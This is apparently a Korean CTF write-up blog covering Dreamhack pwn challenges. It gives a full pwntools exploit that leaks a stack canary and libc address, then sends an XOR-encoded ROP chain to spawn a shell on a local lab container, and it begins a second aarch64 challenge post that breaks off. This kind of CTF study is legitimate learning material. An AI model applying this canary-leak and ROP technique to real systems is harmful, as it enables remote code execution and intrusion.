</span></span><span class="line"><span class="cl">────────────────────────────────────────────────────────────────────────────────────────────── trace ────
</span></span><span class="line"><span class="cl"><span class="o">[</span><span class="c1">#0] 0x600d264ee268 → main()</span>
</span></span><span class="line"><span class="cl">─────────────────────────────────────────────────────────────────────────────────────────────────────────
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  x/32gx 0x00007ffcf7795830
</span></span><span class="line"><span class="cl">0x7ffcf7795830: 0x6664736166647361      0x000000000000000a
</span></span><span class="line"><span class="cl">0x7ffcf7795840: 0x0000000000001000      0xba38f45ff9545200
</span></span><span class="line"><span class="cl">0x7ffcf7795850: 0x0000000000000001      0x000074f174e5ad90
</span></span><span class="line"><span class="cl">0x7ffcf7795860: 0x0000000000000000      0x0000600d264ee1c9
</span></span><span class="line"><span class="cl">0x7ffcf7795870: 0x00000001f7795950      0x00007ffcf7795968
</span></span><span class="line"><span class="cl">0x7ffcf7795880: 0x0000000000000000      0xd879fe562e1a307f
</span></span><span class="line"><span class="cl">0x7ffcf7795890: 0x00007ffcf7795968      0x0000600d264ee1c9
</span></span><span class="line"><span class="cl">0x7ffcf77958a0: 0x0000600d264f0da0      0x000074f17509d040
</span></span><span class="line"><span class="cl">0x7ffcf77958b0: 0x278010a49ed8307f      0x319b179d7490307f
</span></span><span class="line"><span class="cl">0x7ffcf77958c0: 0x000074f100000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0x7ffcf77958d0: 0x0000000000000000      0x0000000000000000
</span></span><span class="line"><span class="cl">0x7ffcf77958e0: 0x0000000000000000      0xba38f45ff9545200
</span></span><span class="line"><span class="cl">0x7ffcf77958f0: 0x0000000000000000      0x000074f174e5ae40
</span></span><span class="line"><span class="cl">0x7ffcf7795900: 0x00007ffcf7795978      0x0000600d264f0da0
</span></span><span class="line"><span class="cl">0x7ffcf7795910: 0x000074f17509e2e0      0x0000000000000000
</span></span><span class="line"><span class="cl">0x7ffcf7795920: 0x0000000000000000      0x0000600d264ee0e0
</span></span></code></pre></div><p>0x7ffcf7795830 지점에 입력한 asdfasdf가 저장되었고 0x7ffcf7795848 지점에 카나리 값, 0x7ffcf7795858 지점에 libc의 return 주소, 0x7ffcf7795868 지점에서 PIE 주소를 Leak 할 수 있다.</p>
<p>특정 값이 입력되기 전까지는 BoF가 발생해도 return이 호출되지 않아 카나리 값 검사를 진행하지 않는다. 따라서 카나리, libc base, PIE base를 순서대로 구해준다.</p>
<p>먼저 asdfasdf * 3번 입력하고 마지막 엔터인 \x0a까지 전달되면 출력되는 값의 마지막 7바이트는 XOR 처리 되지 않는 카나리 값을 얻을 수 있다. 이후 동일하게 libc 주소를 Leak한다. 아래 gdb를 보면 Leak된 libc 주소는 r권한 기준 베이스 주소와 0x29d90 만큼의 offset을 가지고, Leak된 PIE 주소는 x 권한 기준 base 주소와 0x1c9 만큼의 offset을 가지고 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  vmmap
</span></span><span class="line"><span class="cl"><span class="o">[</span> Legend:  Code <span class="p">|</span> Stack <span class="p">|</span> Heap <span class="o">]</span>
</span></span><span class="line"><span class="cl">Start              End                Offset             Perm Path
</span></span><span class="line"><span class="cl">0x0000600d264ed000 0x0000600d264ee000 0x0000000000000000 r-- /home/pwn/prob
</span></span><span class="line"><span class="cl">0x0000600d264ee000 0x0000600d264ef000 0x0000000000001000 r-x /home/pwn/prob
</span></span><span class="line"><span class="cl">0x0000600d264ef000 0x0000600d264f0000 0x0000000000002000 r-- /home/pwn/prob
</span></span><span class="line"><span class="cl">0x0000600d264f0000 0x0000600d264f1000 0x0000000000002000 r-- /home/pwn/prob
</span></span><span class="line"><span class="cl">0x0000600d264f1000 0x0000600d264f2000 0x0000000000003000 rw- /home/pwn/prob
</span></span><span class="line"><span class="cl">0x000074f174e2e000 0x000074f174e31000 0x0000000000000000 rw- 
</span></span><span class="line"><span class="cl">0x000074f174e31000 0x000074f174e59000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span><span class="line"><span class="cl">0x000074f174e59000 0x000074f174fee000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span><span class="line"><span class="cl">0x000074f174fee000 0x000074f175046000 0x00000000001bd000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span><span class="line"><span class="cl">0x000074f175046000 0x000074f17504a000 0x0000000000214000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span><span class="line"><span class="cl">0x000074f17504a000 0x000074f17504c000 0x0000000000218000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span><span class="line"><span class="cl">0x000074f17504c000 0x000074f175059000 0x0000000000000000 rw- 
</span></span><span class="line"><span class="cl">0x000074f17505b000 0x000074f17505d000 0x0000000000000000 rw- 
</span></span><span class="line"><span class="cl">0x000074f17505d000 0x000074f17505f000 0x0000000000000000 r-- <span class="o">[</span>vvar<span class="o">]</span>
</span></span><span class="line"><span class="cl">0x000074f17505f000 0x000074f175061000 0x0000000000000000 r-- <span class="o">[</span>vvar_vclock<span class="o">]</span>
</span></span><span class="line"><span class="cl">0x000074f175061000 0x000074f175063000 0x0000000000000000 r-x <span class="o">[</span>vdso<span class="o">]</span>
</span></span><span class="line"><span class="cl">0x000074f175063000 0x000074f175065000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span><span class="line"><span class="cl">0x000074f175065000 0x000074f17508f000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span><span class="line"><span class="cl">0x000074f17508f000 0x000074f17509a000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span><span class="line"><span class="cl">0x000074f17509b000 0x000074f17509d000 0x0000000000037000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span><span class="line"><span class="cl">0x000074f17509d000 0x000074f17509f000 0x0000000000039000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span><span class="line"><span class="cl">0x00007ffcf7777000 0x00007ffcf7798000 0x0000000000000000 rw- <span class="o">[</span>stack<span class="o">]</span>
</span></span><span class="line"><span class="cl">0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x <span class="o">[</span>vsyscall<span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  p 0x000074f174e5ad90-0x000074f174e31000
</span></span><span class="line"><span class="cl"><span class="nv">$1</span> <span class="o">=</span> 0x29d90
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  p 0x0000600d264ee1c9-0x0000600d264ee000
</span></span><span class="line"><span class="cl"><span class="nv">$2</span> <span class="o">=</span> 0x1c9
</span></span></code></pre></div><p>이후 ROP를 위한 가젯을 찾아야 한다. 가장 깔끔한 방법은 pop rdi ; ret 과 /bin/sh 문자열 주소를 찾아 한번에 처리하는 것이다. prob 바이너리와 문제 도커 내부에 존재하는 libc를 분석해 pop rdi ; ret 가젯과  /bin/sh를 찾아보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  !ropper --file ./prob --search <span class="s2">&#34;pop rdi; ret;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>INFO<span class="o">]</span> Load gadgets from cache
</span></span><span class="line"><span class="cl"><span class="o">[</span>LOAD<span class="o">]</span> loading... 100%
</span></span><span class="line"><span class="cl"><span class="o">[</span>LOAD<span class="o">]</span> removing double gadgets... 100%
</span></span><span class="line"><span class="cl"><span class="o">[</span>INFO<span class="o">]</span> Searching <span class="k">for</span> gadgets: pop rdi<span class="p">;</span> ret<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  !ropper --file ../libc.so.6 --search <span class="s2">&#34;pop rdi; ret;&#34;</span> <span class="p">|</span> tail -n <span class="m">6</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>INFO<span class="o">]</span> Load gadgets from cache
</span></span><span class="line"><span class="cl"><span class="o">[</span>LOAD<span class="o">]</span> loading... 100%
</span></span><span class="line"><span class="cl"><span class="o">[</span>LOAD<span class="o">]</span> removing double gadgets... 100%
</span></span><span class="line"><span class="cl"><span class="o">[</span>INFO<span class="o">]</span> Searching <span class="k">for</span> gadgets: pop rdi<span class="p">;</span> ret<span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>INFO<span class="o">]</span> File: ../libc.so.6
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">0x000000000002a3e5: pop rdi<span class="p">;</span> ret<span class="p">;</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  !ropper --file ./prob --string <span class="s2">&#34;/bin/sh&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">Strings</span>
</span></span><span class="line"><span class="cl"><span class="o">=======</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Address  Value  
</span></span><span class="line"><span class="cl">-------  -----  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  !ropper --file ../libc.so.6 --string <span class="s2">&#34;/bin/sh&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">Strings</span>
</span></span><span class="line"><span class="cl"><span class="o">=======</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Address     Value    
</span></span><span class="line"><span class="cl">-------     -----    
</span></span><span class="line"><span class="cl">0x001d8698  /bin/sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  p <span class="p">&amp;</span>system
</span></span><span class="line"><span class="cl"><span class="nv">$6</span> <span class="o">=</span> <span class="o">(</span>&lt;text variable, no debug info&gt; *<span class="o">)</span> 0x74f174e81d60 &lt;system&gt;
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  p 0x74f174e81d60 - 0x000074f174e31000
</span></span><span class="line"><span class="cl"><span class="nv">$7</span> <span class="o">=</span> 0x50d60
</span></span></code></pre></div><p>위 결과를 보니 PIE base주소는 굳이 필요 없어 보인다. system 함수는 libc의 +0x50d60, pop rdi; ret; 가젯은 libc의 +0x2a3e5, /bin/sh 문자열은 libc의 +0x1d8698  위치에 있다.</p>
<p>이제 필요한 가젯들의 실제 주소를 구해 우리가 구한 offset이 정확한지 확인하자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  x/2i 0x000074f174e31000 + 0x2a3e5
</span></span><span class="line"><span class="cl">   0x74f174e5b3e5 &lt;iconv+197&gt;:  pop    rdi
</span></span><span class="line"><span class="cl">   0x74f174e5b3e6 &lt;iconv+198&gt;:  ret
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  disass 0x000074f174e31000 + 0x50d60
</span></span><span class="line"><span class="cl">Dump of assembler code <span class="k">for</span> <span class="k">function</span> system:
</span></span><span class="line"><span class="cl">   0x000074f174e81d60 &lt;+0&gt;:     endbr64
</span></span><span class="line"><span class="cl">   0x000074f174e81d64 &lt;+4&gt;:     <span class="nb">test</span>   rdi,rdi
</span></span><span class="line"><span class="cl">   0x000074f174e81d67 &lt;+7&gt;:     je     0x74f174e81d70 &lt;system+16&gt;
</span></span><span class="line"><span class="cl">   0x000074f174e81d69 &lt;+9&gt;:     jmp    0x74f174e818f0
</span></span><span class="line"><span class="cl">   0x000074f174e81d6e &lt;+14&gt;:    xchg   ax,ax
</span></span><span class="line"><span class="cl">   0x000074f174e81d70 &lt;+16&gt;:    sub    rsp,0x8
</span></span><span class="line"><span class="cl">   0x000074f174e81d74 &lt;+20&gt;:    lea    rdi,<span class="o">[</span>rip+0x187925<span class="o">]</span>        <span class="c1"># 0x74f1750096a0</span>
</span></span><span class="line"><span class="cl">   0x000074f174e81d7b &lt;+27&gt;:    call   0x74f174e818f0
</span></span><span class="line"><span class="cl">   0x000074f174e81d80 &lt;+32&gt;:    <span class="nb">test</span>   eax,eax
</span></span><span class="line"><span class="cl">   0x000074f174e81d82 &lt;+34&gt;:    sete   al
</span></span><span class="line"><span class="cl">   0x000074f174e81d85 &lt;+37&gt;:    add    rsp,0x8
</span></span><span class="line"><span class="cl">   0x000074f174e81d89 &lt;+41&gt;:    movzx  eax,al
</span></span><span class="line"><span class="cl">   0x000074f174e81d8c &lt;+44&gt;:    ret
</span></span><span class="line"><span class="cl">   
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  x/s 0x000074f174e31000 + 0x001d8698
</span></span><span class="line"><span class="cl">0x74f175009698: <span class="s2">&#34;/bin/sh&#34;</span>
</span></span></code></pre></div><p>확인 결과 이상 없는 것 같다.</p>
<p>더미 24바이트 + 카나리 + 더미2 8바이트 + “pop rdi; ret; 가젯 주소” + “/bin/sh 주소” + system 함수 주소 를 xor 항등원 성질을 이용해 역 연산 해 read함수에 입력하면 된다. 필자는 가젯으로 인해 스택 구조가 망가지는 것을 막기 위해 pop rdi; ret;을 호출하기 전 ret;을 한번 더 호출했다.</p>
<p>아래는 위 익스 방법을 구현한 파이썬 코드다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># ontext.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># p = process([&#39;qemu-aarch64-static&#39;,&#39;-L&#39;, &#39;/usr/arm-linux-gnueabi&#39;, &#39;-g&#39;, &#39;8888&#39;, &#39;./app&#39;])</span>
</span></span><span class="line"><span class="cl"><span class="c1"># p = process([&#39;qemu-aarch64-static&#39;, &#39;-g&#39;, &#39;1111&#39;, &#39;./deploy/prob&#39;])</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;172.17.0.2&#34;</span><span class="p">,</span> <span class="mi">8080</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># elf = ELF(&#34;./deploy/prob&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">make_xored_input</span><span class="p">(</span><span class="n">desired_bytes</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">N</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">desired_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">N</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span><span class="p">[</span><span class="n">N</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">desired_bytes</span><span class="p">[</span><span class="n">N</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">desired_bytes</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">^</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#print(buf)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">bof</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;abcd&#34;</span><span class="o">*</span><span class="mi">6</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input: &#34;</span><span class="p">,</span> <span class="n">bof</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;You entered: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">bof</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">canary</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">+</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Leak canary : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">canary</span><span class="p">))</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_libc_base_dummy</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;asdf&#34;</span><span class="o">*</span><span class="mi">10</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input: &#34;</span><span class="p">,</span> <span class="n">get_libc_base_dummy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;You entered: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">get_libc_base_dummy</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Leak libc : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">libc_leak</span><span class="o">-</span><span class="mh">0x29d90</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;libc base : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_pie_base_dummy</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;qwer&#34;</span><span class="o">*</span><span class="mi">14</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input: &#34;</span><span class="p">,</span> <span class="n">get_pie_base_dummy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;You entered: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">get_pie_base_dummy</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">PIE_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Leak PIE : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">PIE_leak</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">PIE_base</span> <span class="o">=</span> <span class="n">PIE_leak</span><span class="o">-</span><span class="mh">0x1c9</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;PIE base : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">PIE_base</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 0x000000000002a3e5: pop rdi; ret; libc 가젯</span>
</span></span><span class="line"><span class="cl"><span class="c1">## libc_base+0x1b0698  /bin/sh</span>
</span></span><span class="line"><span class="cl"><span class="c1">## libc+0x28d60 system()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pr</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="mh">0x2a3e5</span>
</span></span><span class="line"><span class="cl"><span class="n">ret</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="mh">0xf41c9</span>
</span></span><span class="line"><span class="cl"><span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="mh">0x1d8698</span>
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="mh">0x50d60</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">23</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span>  <span class="n">canary</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;qwerqwer&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input: &#34;</span><span class="p">,</span> <span class="n">make_xored_input</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN armop</title><link>https://dig06161.github.io/2025/07/25/dreamhack-pwn-armop/</link><pubDate>Fri, 25 Jul 2025 14:00:00 +0900</pubDate><guid>https://dig06161.github.io/2025/07/25/dreamhack-pwn-armop/</guid><description>드림핵 포너블 armop 문제풀이</description><content:encoded><![CDATA[<p>회사에 입사하고 오랜만에 올리는 문제풀이다.</p>
<p>IoT 해킹을 직업으로 하며 arm환경에서 익스코드를 작성하는게 메인이 되었다.</p>
<p>기존에 문제에서 접하던 x64 환경과는 또 환경으로 적응하고 메모리 커럽션 공격을 더욱 고도화 시키기 위해 arm, mips, risc-V 문제를 풀어보며 공부할 예정이다.</p>
<p>이번 문제는 Dream hack의 armop 문제다. 처음에 rop로 풀려고 시도했는데 삽질하다가 쉬운방법으로 풀린 문제다.</p>
<p>문제 파일을 다운받고 내부 파일들을 먼저 살펴보자. deploy에 문제파일과 실행을 위한 스크립트가 있다. <code>qemu-aarch64-static</code> 명령으로 문제파일을 실행한다. 홈페이지의 문제 설명을 보면 디버깅을 할 때는 제공된 스크립트를 이용하라고 한다. utils 디렉터리에 qemu를 디버그 모드로 실행시키는 스크립트와 gdb target remote 예제 스크립트가 제공된다.</p>
<p>우선 도커파일을 빌드해서 prob 바이너리를 실행시켜보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pwn@f767549ec4e5:~$ ls -al
</span></span><span class="line"><span class="cl">total <span class="m">796</span>
</span></span><span class="line"><span class="cl">drwxr-x--- <span class="m">1</span> pwn  pwn    <span class="m">4096</span> Jul <span class="m">25</span> 04:52 .
</span></span><span class="line"><span class="cl">drwxr-xr-x <span class="m">1</span> root root   <span class="m">4096</span> Jul <span class="m">21</span> 07:00 ..
</span></span><span class="line"><span class="cl">-rw------- <span class="m">1</span> pwn  pwn     <span class="m">137</span> Jul <span class="m">23</span> 23:59 .bash_history
</span></span><span class="line"><span class="cl">-rw-r--r-- <span class="m">1</span> pwn  pwn     <span class="m">220</span> Jul <span class="m">21</span> 07:00 .bash_logout
</span></span><span class="line"><span class="cl">-rw-r--r-- <span class="m">1</span> pwn  pwn    <span class="m">3771</span> Jul <span class="m">21</span> 07:00 .bashrc
</span></span><span class="line"><span class="cl">-rw-r--r-- <span class="m">1</span> pwn  pwn     <span class="m">807</span> Jul <span class="m">21</span> 07:00 .profile
</span></span><span class="line"><span class="cl">-rw-r--r-- <span class="m">1</span> root root      <span class="m">8</span> Jul <span class="m">21</span> 06:49 flag
</span></span><span class="line"><span class="cl">-rwxr-xr-x <span class="m">1</span> root root <span class="m">774744</span> Jul <span class="m">21</span> 06:49 prob
</span></span><span class="line"><span class="cl">-rwxr-xr-x <span class="m">1</span> root root     <span class="m">36</span> Jul <span class="m">21</span> 06:49 run.sh
</span></span><span class="line"><span class="cl">pwn@f767549ec4e5:~$ ./run.sh
</span></span><span class="line"><span class="cl">exploit aarch64!
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">input: testtest
</span></span></code></pre></div><p>exploit aarch64! 문구를 출력하고 input: 출력 후 사용자 입력을 받는다.</p>
<p>이제 바이너리를 동적 분석도구로 확인해보자.</p>
<p>main함수는 아래와 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">setvbuf</span><span class="p">((</span><span class="n">FILE</span> <span class="o">*</span><span class="p">)</span><span class="n">stdin</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
